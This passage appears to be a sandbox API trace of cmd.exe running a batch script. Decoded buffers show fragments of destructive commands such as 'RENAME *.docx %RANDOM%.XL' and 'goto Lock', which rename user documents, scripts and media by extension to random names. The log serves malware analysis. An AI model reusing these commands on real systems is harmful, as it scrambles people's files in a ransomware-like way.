%RANDOM%.XL\r\n") returned 26 [0037.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.595] GetFileType (hFile=0x74) returned 0x1 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x544 [0037.595] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=1359, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.595] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.595] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.595] GetFileType (hFile=0x74) returned 0x1 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x54f [0037.595] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.595] SetFilePointer (in: hFile=0x74, lDistanceToMove=1361, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.595] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.596] GetFileType (hFile=0x74) returned 0x1 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x551 [0037.596] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=1367, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.596] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0037.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.596] GetFileType (hFile=0x74) returned 0x1 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x557 [0037.596] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.596] SetFilePointer (in: hFile=0x74, lDistanceToMove=1369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.596] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0037.596] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.597] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.597] GetFileType (hFile=0x74) returned 0x1 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x559 [0037.597] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=1395, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.597] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0037.597] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.597] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.597] GetFileType (hFile=0x74) returned 0x1 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x573 [0037.597] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=1406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.597] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0037.597] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.597] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.598] GetFileType (hFile=0x74) returned 0x1 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x57e [0037.598] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=1408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.598] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.598] GetFileType (hFile=0x74) returned 0x1 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x580 [0037.598] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=1415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.598] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0037.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.598] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.598] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.598] GetFileType (hFile=0x74) returned 0x1 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x587 [0037.599] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=1417, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.599] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0037.599] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.599] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.599] GetFileType (hFile=0x74) returned 0x1 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x589 [0037.599] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=1444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.599] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\nn\r\n") returned 27 [0037.599] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.599] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.599] GetFileType (hFile=0x74) returned 0x1 [0037.599] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5a4 [0037.600] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=1455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.600] GetFileType (hFile=0x74) returned 0x1 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0037.600] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.600] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.600] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.600] GetFileType (hFile=0x74) returned 0x1 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0037.600] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.600] SetFilePointer (in: hFile=0x74, lDistanceToMove=1463, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.601] GetFileType (hFile=0x74) returned 0x1 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0037.601] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=1465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.601] GetFileType (hFile=0x74) returned 0x1 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0037.601] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=1491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.601] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.601] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.602] GetFileType (hFile=0x74) returned 0x1 [0037.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0037.602] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=1502, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.602] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.602] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.603] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.603] GetFileType (hFile=0x74) returned 0x1 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0037.603] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=1504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.603] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.603] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.603] GetFileType (hFile=0x74) returned 0x1 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0037.603] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=1510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.603] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.603] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.603] GetFileType (hFile=0x74) returned 0x1 [0037.603] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0037.604] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0037.604] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.604] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.604] GetFileType (hFile=0x74) returned 0x1 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0037.604] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0037.604] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.604] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.604] GetFileType (hFile=0x74) returned 0x1 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0037.604] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.604] SetFilePointer (in: hFile=0x74, lDistanceToMove=1549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0037.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.605] GetFileType (hFile=0x74) returned 0x1 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0037.605] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=1551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.605] GetFileType (hFile=0x74) returned 0x1 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0037.605] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=1557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0037.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0037.605] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.605] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 